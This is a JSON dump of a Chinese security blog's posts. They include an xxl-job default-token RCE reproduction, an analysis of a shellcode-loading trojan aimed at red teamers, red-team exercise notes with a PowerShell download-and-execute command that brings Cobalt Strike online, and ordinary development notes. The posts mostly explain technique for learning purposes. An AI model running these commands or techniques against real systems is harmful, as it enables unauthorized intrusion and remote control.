[{"content":"","date":"2023-11-05","externalUrl":null,"permalink":"/tags/","section":"Tags","summary":"","title":"Tags","type":"tags"},{"content":"","date":"2023-11-05","externalUrl":null,"permalink":"/tags/xxl-job/","section":"Tags","summary":"","title":"Xxl-Job","type":"tags"},{"content":"","date":"2023-11-05","externalUrl":null,"permalink":"/tags/%E4%BB%8E%E9%9B%B6%E5%88%B0%E4%B8%80%E5%AD%A6%E6%8C%96%E6%B4%9E/","section":"Tags","summary":"","title":"从零到一学挖洞","type":"tags"},{"content":"看到了微步的漏洞预警信息，于是想从零开始记录一下nday漏洞的复现过程。虽然这次涉及代码审计很少，但也算一个路径，就记录一下吧。\n首先看预警信息\n首先提取关键词：accessToken默认、在application.properties中配置、绕过认证调用 executor\n接下来我们去xxl-job的官方仓库找这个文件\n该文件有多个但内容一致，这里选择xxl-job-admin下的为例。我们能看到application.properties中accessToken确实有个配置项，其值就为default_token。因为properties是个纯静态文件，所以不存在什么语法变量，确定就是这几个字符“default_token”\n好，现在我们确定了accessToken的值，这将是我们构造payload的关键。接下来我们要弄清楚通过这个值可以绕过什么。也就是预警信息中所说的executor\n查看项目目录，发现了一个相似的文件夹\n点开看里面\n又有两个，而且里面出现了frameless和springboot，推测是两个版本或者编译方式。\n这里不敢继续深入，不了解话可能会变成无底洞让我钻进牛角尖。那么回到最开始，看一看官方文档，看看从里面能发现什么信息便于我们了解软件架构。\n通过文档我们可以知道xxl-job其实是分为两部分是类似于docker的那种c/s结构，或者说类似于中台/agent架构。调度中心（默认端口8080）就是xxl-job-admin，而执行器（默认端口9999）则就是所谓的executor。执行器接收调度中心发出的命令，在所在机器上执行后并返回结果。而接收上级指令一定有一个身份验证来保证不被滥用，这个验证就是accessToken。\n那么现在我们大致就理清漏洞的利用思路了，很简单就是构造一个调度中心的指令请求给执行器，当accessToken为默认时我们就可以冒用身份把执行器作为我们的木马去使用。那这个请求的格式是什么样的呢？最开始我从代码层面可是跟踪，但往深处太复杂就换个方向从互联网入手。搜索关键词：xxl-job executor rce，这时找到了一个很久以前的漏洞\n点进去看，时同一个组建相同的问题。我们现在这个是默认值，这个洞则是空值。看下时间，最早2022年就有人复现分析了。那么他的payload我们能不能用呢？\n很显然里面并没有提到accessToken这个字段，估计是因为空值的话根本不用传参。但是我们得到了另一个信息，组建之间通过RESTful API传送数据，那么这个字段格式在文档中就也一定有。回到文档去看\n好了，可以直接根据文档去构造请求包了。（glueType字段还有别的类型自行摸索，可能会对bypass有利）\n文章中的指纹我们也可以直接拿来用 即: shodan:invalid request, HttpMethod not support. 也就是body内容为invalid request, HttpMethod not support. 其他国产引擎语法请自行构造\n接下来找个目标试试\n成功执行命令并通过dnslog带出\n如果默认值改了，则是这样\n总的来说就是这样。但有些时候你会发现服务器的执行器打不了。这是因为c/s架构，agent不一定就非得在admin的那个机器上。这虽然降低了利用成功率，但某种意义上对内网横向起到了一定作用。\n最后一个小彩蛋：\n2022年执行器未授权漏洞之后官方做了补救措施，默认开始token。但他们却使用了一个固定的值进行硬编码。也就是这个修复开启了执行器绕过。正所谓，修了吗？如修 不知道为什么这么简单的一个漏洞竟然过了一年才爆出来\n最后的话：虽然这次没有从代码审计的角度深入解析，但指出了另一条路，要善用网络搜索和已知漏洞，这往往也是一个捷径\n","date":"2023-11-05","externalUrl":null,"permalink":"/2023/11/05/%E4%BB%8E%E9%9B%B6%E5%88%B0%E4%B8%80%E5%AD%A6%E6%8C%96%E6%B4%9E-xxl-job-2023%E8%BF%9C%E7%A8%8B%E5%91%BD%E4%BB%A4%E6%89%A7%E8%A1%8C%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90%E8%AE%B0%E5%BD%95/","section":"文章","summary":"看到了微步的漏洞预警信息，于是想从零开始记录一下nday漏洞的复现过程。虽然这次涉及代码审计很少，但也算一个路径，就记录一下吧。\n","title":"从零到一学挖洞|xxl-job 2023远程命令执行漏洞分析记录","type":"post"},{"content":"","date":"2023-11-05","externalUrl":null,"permalink":"/tags/%E6%BC%8F%E6%B4%9E%E5%A4%8D%E7%8E%B0/","section":"Tags","summary":"","title":"漏洞复现","type":"tags"},{"content":"","date":"2023-11-05","externalUrl":null,"permalink":"/","section":"松鼠A的博客","summary":"","title":"松鼠A的博客","type":"page"},{"content":"","date":"2023-11-05","externalUrl":null,"permalink":"/tags/%E7%BD%91%E7%BB%9C%E5%AE%89%E5%85%A8/","section":"Tags","summary":"","title":"网络安全","type":"tags"},{"content":"","date":"2023-11-05","externalUrl":null,"permalink":"/post/","section":"文章","summary":"","title":"文章","type":"post"},{"content":"距离上次写文章已经有将近三个月了，实在是太忙。这三个月里大大小小大概打了有五六场hw。人是累的不行，但是也学到了很多东西。本来是有很多知识点和操作想写，但东西一多反而又不知道该写什么了。\n直到翻学习记录看到有个比较有意思的东西，就分享出来给大家乐一乐\n事情是这样的，那次我被发配去夜班蓝队，半夜红队的同事给我发了个文件\n据说是红队交流群里有人发的免杀工具，但是因为正在hw，所以都有一定的怀疑心理，但是确实又需要一个便捷的工具。这就扔给我探探路。\n到手先PEiD，结果没有信息，顿时有点慌。于是继续问同事有没有相关信息，结果问了以后更慌了\n什么蜜汁操作，听着就有问题\n然后翻翻工具包还有啥能用的，找到了ExeinfoPe，继续查查底细\n妥了，py打包，这问题就更大了，因为免杀工具我就没见过py写了之后还打包的。\n扔沙箱看看\nhttps://s.threatbook.com/report/file/82c4d663df9ee76568de8fb677902d3c3615d5dcfdb11e727b5fd629c132734a\n总体来说沙箱没测出啥，但是有一项释放文件标红了，于是仔细看了下发现了问题\n第一个没记错的话应该是vc库，这个问题在于常规软件的依赖库一般都是由系统提前装好的，没听说过哪家的软件运行时自己释放一个依赖文件。\n第二个是两个py文件，socket和ssl,虽然这俩很常见而且应该不会有啥问题，但一个免杀工具不应该具有网络操作。所以这俩看着就比较奇怪了。\n有了上面的依据，大概率确认这个“免杀工具”是有问题的。实践是检验真理的唯一标准，扔虚拟机里跑一下，做最后的确认\n于是开了个虚拟机，但是把网络断掉了，防止是什么奇怪的蠕虫。结果断网这个操作恰好成为了本文的亮点（笑死\n扔进虚拟机以后点击执行，多次点击并没有出现gui，所以换成cmd去执行。结果刚打开cmd之前点击的操作生效了。\n看起来还有模有样的，但随即弹出了报错\nhhhhhhh笑死 看得出这个异常是因为请求了一个txt文件，但是因为我断了网络所以连接抛出异常\n访问一下这个站点，是一个peiqi文库，基本确定就是业内人士。再访问下这个txt\n一堆字符串，base64解码一下\n基本九成九是shellcode，远程分离加载，还是扔到红队群。这蓝队兄弟钓的一手好鱼\nshellcode分析太麻烦了，直接查下这个ip\n微步捕获到一个样本，点击样本连接查看\n找到了teamserver\n至此整个分析结束\n总结：\n这是一个针对红队的钓鱼反制，实施者是个有红队经验的业内人士。用python写出gui，当用户打开工具时从65.49.*** .*** 远程拉取txt文件内容，远程加载shellcode上线到控制服务器18.179.**.42。因为做了分离，又因为工具本身就是风险工具，所以绕过杀软的概率不低。一定程度上甚至绕过了沙箱检测（当然了，毕竟只有个加载器）\n整个操作其实都很不错，唯一的失败之处就是哥们异常处理没写全，导致网络异常时会抛出异常暴漏了自己。\n小声比比：最近确实太忙了，就鸽了这么久。不过没问题，毕竟一直以年更作者自居。ai代审在走专利流程了，不知道能不能过。最近有点新想法，想试试私有化大语言能不能盈利，各个技术点都还在调研，等我财富自由就彻底断更（滑稽\n","date":"2023-06-28","externalUrl":null,"permalink":"/2023/06/28/%E4%B8%80%E6%AC%A1hw%E4%B8%AD%E7%9A%84%E5%B0%8F%E6%8F%92%E6%9B%B2--%E5%88%86%E6%9E%90%E8%93%9D%E9%98%9F%E9%92%93%E9%B1%BC%E6%9C%A8%E9%A9%AC%E7%9A%84%E5%8F%8D%E5%88%B6/","section":"文章","summary":"距离上次写文章已经有将近三个月了，实在是太忙。这三个月里大大小小大概打了有五六场hw。人是累的不行，但是也学到了很多东西。本来是有很多知识点和操作想写，但东西一多反而又不知道该写什么了。\n","title":"一次hw中的小插曲--分析蓝队钓鱼木马的反制","type":"post"},{"content":"年初被迫接受了一个开发任务，自己从来没做过产品及开发只能硬着头皮上。一边百度一边AI，终于最近有了些进展。随手记一下学到的知识点，比较细碎，记下来或许有用。\n项目 # 被安排的是开发一个网站可用性监测引擎。别的语言都不太擅长所以选用了python。py里自己最熟悉的框架又是flask，所以便从这里开始。\npython的post数据 # flask和很多py框架都有一些“反人类”（也有可能是反我）的写法。 比如写一个路由\n@app.post(\u0026#34;/test/api/add\u0026#34;) def ch(request: Request): pass 比如这样写才能拿到post数据，普通访问只能get。\n并发 # 刚开始写的时候只告诉我是个模块，后来又说是引擎，渐渐的越来越大，都快变成我一个人开发一个产品。 这个时候才知道我这个引擎到后面要接受整个公司所有项目的监测任务，目标保守估计几千个。大致估算了下并发估计能有300左右。 于是想到flask有没有可能扛不住这么大的并发，查一查到底怎么样。 于是查到flask是个开发引擎，不建议在生产环境使用。我寻思应该也是指高并发问题。然后又查到fastapi适合高并发场景，并且更适合作为api“引擎”。就决定切换为fastapi。\n单纯的切换到fastapi其实起不到优化效果，需要将函数加上async关键词，使用异步才能优化。 接受数据的时候需要加await关键词，要不然会接受不到数据，不知道为什么。这个还要学习 所有函数都要加上async，否则不但不优化，反而还有负优化 使用fastapi时需要另外安装web服务器，官方建议安装uvicorn，但是在安装的时候是uvicorn[xxxx]的形式。这种格式表示安装uvicorn以及依赖。 使用异步时就不能再使用requests了，它不支持异步请求，我换了aiohttp 也是最重要的一点。实测，fastapi对并发优化其实和flask效果差不出太多 检测请求 # 上游服务器给我任务，然后我要去监测。\n所谓的监测就是get推送过来的url。这里也有几个知识点\n请求最好带上UA之类的东西，类似于爬虫的那些策略，防止被反爬系统干扰 监测网站时最好使用GET方法，有些网站限制了方法。我想过用HEAD但是产生了误报，推测可能是中间件或者安全设备配置的策略 当请求一个网站返回200时不一定就真的代表网站可访问，需要判断一下返回包的大小进一步确定。 超时时间长一点，有时候目标网络确实烂，也有时候请求过多我们自己的网络层会阻塞 奇怪的网络架构。举个例子，政府机构网站。县区级单位很多会选择把网站挂靠到上级的主机上。虽然一名不一样但是指向了一个主机。当对这个市区进行监测时在主机端看来我是高频请求，类DDOS，所以就会直接拉黑。唯一的办法就是使用代理池，每个请求换一个代理。 整体架构 # 最开始我想的只是写一个脚本了事，脚本不过几K大小。渐渐的我发现整个架构需要改变。\n首先公司没有给我配代理池，只给了一个高频拨号服务器和一个公司出口服务器。所以我想尽量利用这两个机器，于是决定使用负载均衡。\n其实之前只是一直听说并没有实际用过。毕竟我的主要工作是怎么打进去，至于负载均衡，只是多让我拿下一个权限而已。\n负载均衡 # 仔细学习了学习，发现负载均衡其实还是反代为基础。通过反代服务器进行请求转发。看了下和很久以前写的文章 初探单域名单端口多服务web 很像。\n那篇文章是说按照后缀转发到不同服务器，负载均衡则是按照某种算法进行转发。 以前我还以为是有什么专业的服务组件去完成，如果是反代为基础，那么nginx自然是最好用的。\n配置文件大概是这么写的\nworker_processes 4; //工作进程数，一般和主机核数相同 events { worker_connections 40960;//每个进程可跑的线程数，我这比较大因为直接用了phpstudy的参数 } http { upstream web { //负载节点 server 192.168.1.2:8000; server 192.168.1.3:8000; } server { listen 80;//反代服务器监听端口 location / { proxy_pass http://web;//指定节点列表，这里的web就是upstream web中的web。平时这里是一个正常的url } } } docker学习 # 既然都这样了，单独在服务器上装一个nginx还挺麻烦的。所以我想到了docker。以前用docker都是在使用别人的东西的时候按着人家给的命令执行，自己就知道一个docker ps 和docker images\n这次自己换了方向，从使用者变成了开发者，于是学到了一些东西。\n服务器系统是centos7， yum install docker 然后还要安装docker-compose（我终于记住这个单词了）\n神奇的是centos7无法用yum直接安装，而是用pip进行docker-compose的安装。但是实测安装完成以后无法使用，可能是其他什么问题。于是按照官方文档直接用wget拉取了一个可执行文件。\nsudo curl -L https://github.com/docker/compose/releases/download/1.21.2/docker-compose-$(uname -s)-$(uname -m) -o /usr/local/bin/docker-compose sudo chmod +x /usr/local/bin/docker-compose docker-compose.yaml # 也学了学docker-compose.yaml的规则。毕竟节点架构就不能再用sqlite了。也得部署mysql，俩组件加起来还是用docker-compose一键配置简单\nversion: \u0026#39;3\u0026#39; services: nginx: image: nginx //镜像名 ports: - \u0026#34;19100:80\u0026#34; //物理机端口:容器内服务端口 volumes: - ./nginx.conf:/etc/nginx/nginx.conf:ro //文件覆盖到容器内 db: image: mysql environment: MYSQL_ROOT_PASSWORD: 123456 MYSQL_DATABASE: web ports: - \u0026#34;3306:3306\u0026#34; volumes: - ./web.sql:/docker-entrypoint-initdb.d/web.sql //docker-entrypoint-initdb.d下的sql文件会自动导入到数据库 好了，暂时就想到了这些。遇到了很多问题，也学到了很多。果然应了那句话：你所承受的磨难终将成为日后的资本\n写的有点对浏览器开始卡了，就这样吧。有哪些问题各位师傅请积极评论督促我进步学习。 最后其实还有一个问题，监测会有误报。把可用目标报成宕机，不知道为什么。同一个目标py脚本测不可用，curl和httpx工具测都正常，想不通为什么。往大佬们指点。\n","date":"2023-04-07","externalUrl":null,"permalink":"/2023/04/07/%E8%BF%91%E6%9C%9F%E9%A1%B9%E7%9B%AE%E7%9F%A5%E8%AF%86%E9%9A%8F%E8%AE%B0/","section":"文章","summary":"年初被迫接受了一个开发任务，自己从来没做过产品及开发只能硬着头皮上。一边百度一边AI，终于最近有了些进展。随手记一下学到的知识点，比较细碎，记下来或许有用。\n","title":"近期项目知识随记","type":"post"},{"content":"","date":"2023-04-03","externalUrl":null,"permalink":"/tags/ai/","section":"Tags","summary":"","title":"AI","type":"tags"},{"content":"","date":"2023-04-03","externalUrl":null,"permalink":"/tags/chatgpt/","section":"Tags","summary":"","title":"ChatGPT","type":"tags"},{"content":"最近也开通了GPT puls，感觉GPT4的效果确实比3.5强很多。不仅仅是上下文能力和字数限制，逻辑能力也提高不不少。终于可以将其用在生产力解放上面，于是便有了这么一篇文章。不是专业开发，代码稀烂，大佬轻喷\n01 # 众所周知安全岗位工作的很大一部分工作就是撰写报告。往往一个漏洞用五分钟发现，书写报告却用了十五分钟。一篇报告要按照特定的格式特定的语法描述进行书写，实在是一件让人煎熬的事，那么，我们就需要让AI把我们从痛苦中解放出来。\n设计思路 # 拥有一个UI界面 便于文件处理 基于AI处理语言描述问题 可以人工干预结果 首先写一个ui界面。为了快捷开发我选择了python，所以直接选择了web进行轻便开发。\nflask起手\napp = Flask(__name__, template_folder=\u0026#39;templates\u0026#39;, static_folder=\u0026#39;static\u0026#39;) @app.route(\u0026#39;/\u0026#39;, methods=[\u0026#39;GET\u0026#39;, \u0026#39;POST\u0026#39;]) def index(): if request.method == \u0026#39;POST\u0026#39;: vuln_name = request.form.get(\u0026#39;vuln_name\u0026#39;, default=\u0026#34;SQL注入\u0026#34;) vuln_point = request.form.get(\u0026#39;vuln_point\u0026#39;, default=\u0026#34;www.google.com\u0026#34;) beizhu = request.form.get(\u0026#39;beizhu\u0026#39;, default=\u0026#34;\u0026#34;) language = request.form.get(\u0026#39;language\u0026#39;) start = time.time() report = generate_report(vuln_name, vuln_point, beizhu, language) end = time.time() times = end - start return render_template(\u0026#39;index.html\u0026#39;, report=report, times=times) else: return render_template(\u0026#39;index.html\u0026#39;) 创建了一个默认路由，并且加载模板index.html index.html主体是一个表单。\n表单：\n漏洞名称 （eg. SQL注入） 漏洞点 （eg. www.test.com/id=111 ） 备注 （比如报告详细些、给出xx个POC之类的额外要求） 那么再写一个html来简单的实现这个页面\n\u0026lt;!DOCTYPE html\u0026gt; \u0026lt;html\u0026gt; \u0026lt;head\u0026gt; \u0026lt;meta charset=\u0026#34;UTF-8\u0026#34;\u0026gt; \u0026lt;title\u0026gt;漏洞报告生成器\u0026lt;/title\u0026gt; \u0026lt;style\u0026gt; body { font-family: Arial, sans-serif; margin: 0; padding: 0; } header { background-color: #005293; color: #fff; padding: 10px; } h1 { margin: 0; } form { margin: 20px; } label { display: block; margin-bottom: 10px; } input[type=\u0026#34;text\u0026#34;] { width: 100%; padding: 10px; border: 1px solid #ccc; border-radius: 5px; margin-bottom: 20px; font-size: 16px; } input[type=\u0026#34;submit\u0026#34;] { background-color: #005293; color: #fff; border: none; padding: 10px; border-radius: 5px; cursor: pointer; font-size: 16px; } #report { margin: 20px; border: 1px solid #ccc; padding: 10px; border-radius: 5px; font-size: 16px; } \u0026lt;/style\u0026gt; \u0026lt;link rel=\u0026#34;stylesheet\u0026#34; href=\u0026#34;https://cdnjs.cloudflare.com/ajax/libs/highlight.js/11.7.0/styles/panda-syntax-dark.min.css\u0026#34;\u0026gt; \u0026lt;script src=\u0026#34;https://cdnjs.cloudflare.com/ajax/libs/highlight.js/11.7.0/highlight.min.js\u0026#34; integrity=\u0026#34;sha512-bgHRAiTjGrzHzLyKOnpFvaEpGzJet3z4tZnXGjpsCcqOnAH6VGUx9frc5bcIhKTVLEiCO6vEhNAgx5jtLUYrfA==\u0026#34; crossorigin=\u0026#34;anonymous\u0026#34; referrerpolicy=\u0026#34;no-referrer\u0026#34;\u0026gt;\u0026lt;/script\u0026gt; \u0026lt;script\u0026gt;hljs.initHighlightingOnLoad();\u0026lt;/script\u0026gt; \u0026lt;script src=\u0026#34;https://cdn.jsdelivr.net/npm/js-base64@3.7.5/base64.min.js\u0026#34;\u0026gt;\u0026lt;/script\u0026gt; \u0026lt;/head\u0026gt; \u0026lt;body\u0026gt; \u0026lt;header\u0026gt; \u0026lt;h1\u0026gt;漏洞报告生成器\u0026lt;/h1\u0026gt; \u0026lt;/header\u0026gt; \u0026lt;form method=\u0026#34;POST\u0026#34; action=\u0026#34;/\u0026#34;\u0026gt; \u0026lt;select name=\u0026#34;language\u0026#34;\u0026gt; \u0026lt;option value=\u0026#34;中文\u0026#34;\u0026gt;中文\u0026lt;/option\u0026gt; \u0026lt;option value=\u0026#34;英文\u0026#34;\u0026gt;English\u0026lt;/option\u0026gt; \u0026lt;/select\u0026gt; \u0026lt;label\u0026gt;漏洞名称：\u0026lt;/label\u0026gt; \u0026lt;input type=\u0026#34;text\u0026#34; name=\u0026#34;vuln_name\u0026#34; placeholder=\u0026#34;请输入漏洞名称\u0026#34;\u0026gt; \u0026lt;label\u0026gt;漏洞点：\u0026lt;/label\u0026gt; \u0026lt;input type=\u0026#34;text\u0026#34; name=\u0026#34;vuln_point\u0026#34; placeholder=\u0026#34;请输入漏洞点\u0026#34;\u0026gt; \u0026lt;label\u0026gt;对报告的额外要求：\u0026lt;/label\u0026gt; \u0026lt;input type=\u0026#34;text\u0026#34; name=\u0026#34;beizhu\u0026#34; placeholder=\u0026#34;报告额外要求\u0026#34;\u0026gt; \u0026lt;input type=\u0026#34;submit\u0026#34; value=\u0026#34;生成漏洞报告\u0026#34;\u0026gt; \u0026lt;button id=\u0026#34;copy-btn\u0026#34; onclick=\u0026#34;copyReport()\u0026#34; type=\u0026#34;button\u0026#34;\u0026gt;复制\u0026lt;/button\u0026gt;\u0026lt;!--\u0026lt;button id=\u0026#34;copy-btn\u0026#34; onclick=\u0026#34;saveReport()\u0026#34; type=\u0026#34;button\u0026#34;\u0026gt;生成文件\u0026lt;/button\u0026gt;--\u0026gt; 本次执行耗时：{{ times }} 秒 \u0026lt;/form\u0026gt; {% if report %} \u0026lt;pre id=\u0026#34;report\u0026#34; style=\u0026#34;white-space: pre-wrap;overflow-wrap: break-word;\u0026#34;\u0026gt; \u0026lt;code\u0026gt; {{ report }} \u0026lt;/code\u0026gt; \u0026lt;/pre\u0026gt; \u0026lt;br\u0026gt; {% if report %} {% endif %} \u0026lt;script\u0026gt; function copyReport() { var reportText = document.querySelector(\u0026#34;#report code\u0026#34;).innerText; navigator.clipboard.writeText(reportText) .then(function () { alert(\u0026#34;漏洞报告已复制到剪贴板！\u0026#34;); }) .catch(function (error) { alert(\u0026#34;复制失败，请手动复制。\u0026#34;); }); } \u0026lt;/script\u0026gt; {% endif %} \u0026lt;/body\u0026gt; \u0026lt;/html\u0026gt; 页面大概就这个样，顺便完善一些小细节。\n然后是文件处理。有没有一种文件或者编码形式可以让人愉快的阅读而且可以被浏览器文本编辑器解析呢？没错，makedown首当其冲。于是在index.html里加上了代码高亮，生成的值直接填充到其中。\n最终实现效果： 然后是人工调控，但其实已经由备注选项完成，不再论述。\n最后是最关键的\n对接chatGPT api并且获取信息 这里推荐一个github上的项目，关于chatGPT的开发资料可以在这里查到：https://github.com/easychen/openai-gpt-dev-notes-for-cn-developer\n接下来写逻辑代码\ndef generate_report(vuln_name, vuln_point, beihzu=\u0026#34;\u0026#34;, language=\u0026#34;\u0026#34;): # 构造 GPT-3 输入 prompt = f\u0026#34;\u0026#34; #这里填写调整好的prompt #api_base = {\u0026#34;socks5\u0026#34;:proxy} api_base = {\u0026#34;http\u0026#34;: proxy, \u0026#34;https\u0026#34;: proxy} # 调用 OpenAI API 生成漏洞报告 headers = { # Already added when you pass json= but not when you pass data= \u0026#39;Content-Type\u0026#39;: \u0026#39;application/json\u0026#39;, \u0026#39;Authorization\u0026#39;: \u0026#34;Bearer \u0026#34;+api_key, } json_data = { \u0026#39;model\u0026#39;: \u0026#39;gpt-3.5-turbo\u0026#39;, \u0026#39;messages\u0026#39;: [ { \u0026#39;role\u0026#39;: \u0026#39;user\u0026#39;, \u0026#39;content\u0026#39;: prompt, }, ], } # 设置代理 # 计算时间 response = requests.post(\u0026#39;https://api.openai.com/v1/chat/completions\u0026#39;, headers=headers, json=json_data, proxies=api_base) # 处理 OpenAI API 的响应 if response.status_code == 200: text = response.text text = json.loads(text) text = text[\u0026#39;choices\u0026#39;][0][\u0026#39;message\u0026#39;][\u0026#39;content\u0026#39;] report = f\u0026#34;{text}\u0026#34; else: report = \u0026#34;生成漏洞报告失败，请检查输入并重试。状态码：\u0026#34;+str(response.status_code) return report 这里没有用官方的方法进行调用，而是为了方便代理用了http请求接口。\n大致逻辑就是这样，顺便再写一个文件保存功能\ndef outfile(): #获取post过来的base64编码的date date=request.form.get(\u0026#39;reportText\u0026#39;) #将date进行base64解码 date=base64.b64decode(date,).decode(\u0026#39;utf-8\u0026#39;) #将date写入md文件，文件名为当前时间 fname=time.strftime(\u0026#34;%Y-%m-%d-%H-%M-%S\u0026#34;, time.localtime()) with open(fname+\u0026#39;.md\u0026#39;,\u0026#39;w\u0026#39;) as f: f.write(date) return \u0026#34;ok\u0026#34; 总体就是这样，最终的效果图\n最后缝合一下，项目放在了 https://github.com/shiyeshu/GPTreport\n大佬们喜欢的可以给个star\n02 # 本来其实这个才是重头戏，但是公司有一个莫名其妙的要求。要让四月底注册一个专利献祭给公司。搜肠刮肚没办法准备把这个献祭掉。\n大致说说想法\n做一个AI的代码审计工具，肯定是比前面的复杂且更实用。\n首先ai是不可能对整个源码进行全文解析的，只能进行小段解析。 所以我想用手段先进行预处理。用一些软件的漏洞匹配规则进行预扫描可以确定出某一行代码存在风险隐患。然后针对该行代码有两种操作，判断其是否在函数内。如果是函数则函数整体分析，如果不是则在一个阈值内进行上下文联动分析。 高级点的玩法还可以跟踪变量赋值操作。这样基本已经完成整个程序审计逻辑了。 其实可以玩的方向还有很多，这里就不再多说。 代码其实已经写完现在捂在手里，如果四月过完公司没有催上交我就把它开源出来。 小小的露一个图\n最后 我不经常写文章所以文笔不好语言混乱，望大家见谅。本文提及的一些东西算是比较热门的话题，请大家以纯技术的方向看待，拥抱开源但不要做白嫖贼\n","date":"2023-04-03","externalUrl":null,"permalink":"/2023/04/03/%E5%9F%BA%E4%BA%8EGPT%E7%9A%84%E7%BD%91%E7%BB%9C%E5%AE%89%E5%85%A8%E5%B7%A5%E5%85%B7%E8%AE%BE%E8%AE%A1/","section":"文章","summary":"最近也开通了GPT puls，感觉GPT4的效果确实比3.5强很多。不仅仅是上下文能力和字数限制，逻辑能力也提高不不少。终于可以将其用在生产力解放上面，于是便有了这么一篇文章。不是专业开发，代码稀烂，大佬轻喷\n","title":"基于GPT的网络安全工具设计","type":"post"},{"content":" 友情链接 # 慕若曦 — 慕若曦，写作吃货，读作笨蛋~ 楼兰 — 楼兰大摔锅，渗透小能手。尘世中一介书生 维基萌 — 萌即是正义！一名热爱 aCG 的前端设计师的小站！ To1y5\u0026rsquo;s Blog — 清醒地被闷死在快乐里 fusec — 侠之大者，为国为民 X1r0z — X1r0z Blog ","date":"2022-08-20","externalUrl":null,"permalink":"/friends/","section":"页面","summary":"友情链接 # 慕若曦 — 慕若曦，写作吃货，读作笨蛋~ 楼兰 — 楼兰大摔锅，渗透小能手。尘世中一介书生 维基萌 — 萌即是正义！一名热爱 aCG 的前端设计师的小站！ To1y5’s Blog — 清醒地被闷死在快乐里 fusec — 侠之大者，为国为民 X1r0z — X1r0z Blog ","title":"友链","type":"page"},{"content":" 某省市HW随记 # 前阵子去打了个小hw，遇到了一些东西，随手记一下。\n1、路由器安全 # 广撒网搜集信息的时候发现目标网段存在一个路由器登录界面\n​ 这种路由器版本一般是家用的，很少有企业会用，但是这个网段又是商业网段不可能有居民用户。所以推测这个可能是操作不规范意外暴漏的东西，于是在本地漏洞库搜索了一下找到了一个任意文件下载。下载其配置文件，获得账户密码。\n进入控制台后发现有隧道代理功能。\n鼓捣了半天才搞懂这东西怎么用。配置客户端连接即可。服务端是用来类似于多个同品牌路由器组网用的。IPSec是种加密方式，不使用也是可以的。\n​ 最后使用了pptp+win7系统才概率情况下连接成功。win11和mac都不能正常连接（kali也会异常）。连接完成后就等于进入了目标内网，后续不再赘述……\n2、用友bash # 1、beanshell利用 # ​ 目标网段发现目标企业的OA系统为用友，并且存在Beanshell rce\n然而刚开始发现默认beanshell目录页面存在，但是无法执行任何命令。遂细查该漏洞的具体分析，发现在其他目录（模块）下也存在该漏洞，于是找了一份字典跑路径，从中挑选质量最佳的进行后续操作。 字典链接\n2、异常掉线 # ​ 成功正常访问bs rce页面后进行反弹shell操作。因为当前算是非交互shell，所以很多操作受限，该机器内也缺少各种环境存在各种问题，最后只能选择使用powershell上线cs。这里又出现了问题。每次执行cs生成的payload以后会提示上线，但是只要超过60s依然会掉线。\n​ 这是因为cs默认会话是60s超时没有心跳就会判定为会话终断。那为什么好好的会话会中断呢。本质上来说我们执行命令用的“载体”是web服务。而web会话是非持久的，网页加载完成即该会话结束。而我们反弹shell的操作也是依托于web，因此当网页shell执行完毕（网页执行完毕），会话中断进程销毁，自然CS会话就掉了。而CS sleep 60s 又容易让人误以为会话存活了60s。\n最终方法：依旧是使用powershell，这次修改逻辑。改为下载并执行命令\npowershell -nop -c \u0026quot;iex(New-Object Net.WebClient).DownloadString('http://xxx.com/shell')\u0026quot;\n​ 这个时候程序运行的逻辑就是：先下载，然后单独再起一个powershell去执行内容\n当网页会话结束，系统只会销毁下载进程。单独再起的那个依然保持驻留，cs会话成功存活。\n3、mssql注入不出网站库分离 # ​ 目标公众号某功能存在Mssql SQLi\n​ sqlmap很顺利直接成功梭哈到os-shell。然而反弹shell的时候发现不出网，DNS也不出。继而想写一个webshell代理进去后续操作，然而翻遍了系统并未找到对应目录。推测是站库分离，写webshell计划落空。\n​ Sqlmap os-shell 小trick\n​ 1、遇到含空格的目录可以用双引号包裹 例如 cd “C:\\Program Files” 有些目录dir存在，但是cd说不存在。那么可能时因为哪里包含了空格\n​ 2、遇到中文目录时sqlmap会无法cd进去，这是因为sqlmap和windows cmd的默认编码不一致导致的。sqlmap utf-8而目标cmd为gbk。这种情况可以通过bp抓包中转修改编码。（不过太麻烦了）\n​ 3、win下用os-shell写入大量内容时剪切板中的内容需要一个个字符渲染到你自己的终端框中，极其浪费时间，并且会占用大量系统资源。我选择用配合使用超级注入工具GUI界面进行写入，节省大量时间和资源（也会产生卡顿，但比终端框好太多了）\n​ 4、使用echo等各种命令输出内容写文件会有8K限制，一次只能写入8K大小的数据，市面上大多数工具使用的写入方法均受此影响\n站库分离又不出网，这种情况真没遇到过，于是请教了好基友 @海鸥i\n大佬推荐我看他写的文章\n关于站库分离数据库不出网落地Exe方式探究-Mssql\n关于站库分离数据库不出网落地Exe方式探究-Mysql\n记一次无回显不出网站库分离\n​ 用以上某种方式写入fscan之类的东西，然后所有结果都输出到一个文本，然后再通过读文本获取信息。直到横向到一个出网主机即可解脱。最后决定使用Bcp进行写文件，但是由于需要动到数据库，我认为操作比较敏感而且后续麻烦浪费时间，遂放弃深入该目标。\n4、powershell编码 # ​ 在某目标使用powershell执行时发现引号斜杠之类的会影响程序正常运行导致最终传输失败。所以想用b64编码以后传，然后再解码。CS的powershell command就是这样操作的。于是随意使用了一个工具进行编码，结果发现shell命令不能正常运行。查资料以后才知道powershell的base64和平时我们使用的base64略有区别，不能直接通用。于是github找了一个转换脚本解决\n脚本链接\n5、中靶虚拟机–网络架构 # ​ 目标网段内存在一idc主页，拿下官网后发现该机器无内网IP，网关也是一个公网IP 。ping 172/192段未发现存活，禁ping探测终于发现几个192机器，但只有25/110端口开放，很不正常。\n​ 经其他师傅提示可能是个虚拟机，放大内网网段探测范围，发现多个10段，但所有存活均为路由器。继续深入的话可能只有虚拟机逃逸，但难度太大又消耗时间。\n​ 继续回过头看官网系统，配置文件中发现数据库服务器、redis服务器、ros服务器账户密码及IP，但数据库和redis都存在访问白名单，只有ros服务器可以访问。但是不知道这个所谓的ros服务器是个什么东西。于是百度学习，最后发现是个路由器，并且找到一个连接工具 链接\n大概连上去是这样的，没有太大价值。 总结：如果不是时间太多，遇到这种idc的架构建议先放一边，日后再说\n","date":"2022-07-13","externalUrl":null,"permalink":"/2022/07/13/%E6%9F%90%E7%9C%81%E5%B8%82hw%E9%9A%8F%E8%AE%B0/%E6%9F%90%E7%9C%81%E5%B8%82hw%E9%9A%8F%E8%AE%B0/","section":"文章","summary":"某省市HW随记 # 